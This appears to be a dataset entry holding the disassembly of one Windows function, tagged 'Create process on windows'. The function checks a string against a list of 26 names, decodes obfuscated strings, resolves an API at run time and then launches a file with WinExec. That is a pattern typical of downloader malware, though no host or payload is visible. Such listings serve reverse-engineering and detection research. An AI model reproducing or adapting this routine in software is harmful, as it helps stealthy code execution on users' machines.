Function at 0x404be4
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x404bee
mov eax, dword [esp + 0x8000]
add esp, 0xfffffbf8
mov dword [esp + 4], edx
mov dword [esp], eax
lea ebp, [esp + 0x409]
mov byte [esp + 8], 0
mov eax, ebp
mov edx, 0x8000
call fcn.00403014
push 0x404fa8
push ebp
call sub.kernel32.dll_lstrcpyA_1
push 0x404fd0
lea eax, [ebp + 0x400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404fe4
lea eax, [ebp + 0x800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404ff4
lea eax, [ebp + 0xc00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40500c
lea eax, [ebp + 0x1000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405020
lea eax, [ebp + 0x1400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405040
lea eax, [ebp + 0x1800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405068
lea eax, [ebp + 0x1c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405084
lea eax, [ebp + 0x2000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4050a0
lea eax, [ebp + 0x2400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4050b8
lea eax, [ebp + 0x2800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4050dc
lea eax, [ebp + 0x2c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4050ec
lea eax, [ebp + 0x3000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405110
lea eax, [ebp + 0x3400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405124
lea eax, [ebp + 0x3800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405138
lea eax, [ebp + 0x3c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405148
lea eax, [ebp + 0x4000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40515c
lea eax, [ebp + 0x4400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405174
lea eax, [ebp + 0x4800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x405194
lea eax, [ebp + 0x4c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4051a4
lea eax, [ebp + 0x5000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4051bc
lea eax, [ebp + 0x5400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4051d4
lea eax, [ebp + 0x5800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4051f0
lea eax, [ebp + 0x5c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40520c
lea eax, [ebp + 0x6000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40522c
lea eax, [ebp + 0x6400]
push eax
call sub.kernel32.dll_lstrcpyA_1
xor ebx, ebx
mov esi, 0x1a
mov edi, ebp
lea edx, [esp + 9]
mov eax, edi
call fcn.0040232c
lea eax, [esp + 9]
push eax
push 0x407e24
call sub.kernel32.dll_lstrcmpiA_1
test eax, eax
jne 0x404e03
mov bl, 1
jmp 0x404e0c
add edi, 0x400
dec esi
jne 0x404de1
test bl, bl
je 0x404f99
mov ecx, 0x407b18
mov edx, 0x40523c
mov eax, 0x405244
call fcn.00402ce8
mov esi, eax
cmp esi, sub.kernel32.dll_GetStdHandle
jne 0x404f99
mov ecx, 0x407b18
mov edx, 0x40524c
mov eax, 0x405244
call fcn.00402ce8
mov esi, eax
cmp esi, dword [esp]
jb 0x404f99
mov ecx, 0x407b18
mov edx, 0x405254
mov eax, 0x405244
call fcn.00402ce8
mov esi, eax
cmp esi, dword [esp + 4]
jb 0x404f99
mov eax, 0x407c1c
call fcn.00402744
test al, al
je 0x404f99
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00403014
push 0x2d
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060a0
mov ecx, 0xa
call fcn.004023f4
lea eax, [esp + 9]
push eax
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
test ebx, ebx
je 0x404f99
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00403014
push 0x6f
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060ac
mov ecx, 0x12
call fcn.004023f4
lea eax, [esp + 9]
push eax
push ebx
call sub.kernel32.dll_GetProcAddress
mov ebx, eax
test ebx, ebx
je 0x404f99
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00403014
push 0xe0
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060c0
mov ecx, 0x2b
call fcn.004023f4
push 0
push 0
push 0x407c1c
lea eax, [esp + 0x15]
push eax
push 0
call ebx
test eax, eax
jne 0x404f99
push 0
push 0x407c1c
call sub.kernel32.dll_WinExec_1
cmp eax, 0x20
jbe 0x404f99
push 0x407b18
mov ecx, 0x40525c
mov edx, 0x40523c
mov eax, 0x405244
call fcn.00402c74
push 0x407b18
mov ecx, 0x40525c
mov edx, 0x40524c
mov eax, 0x405244
call fcn.00402c74
push 0x407b18
mov ecx, 0x40525c
mov edx, 0x405254
mov eax, 0x405244
call fcn.00402c74
mov byte [esp + 8], 1
mov al, byte [esp + 8]
add esp, 0x840c
pop ebp
pop edi
pop esi
pop ebx
ret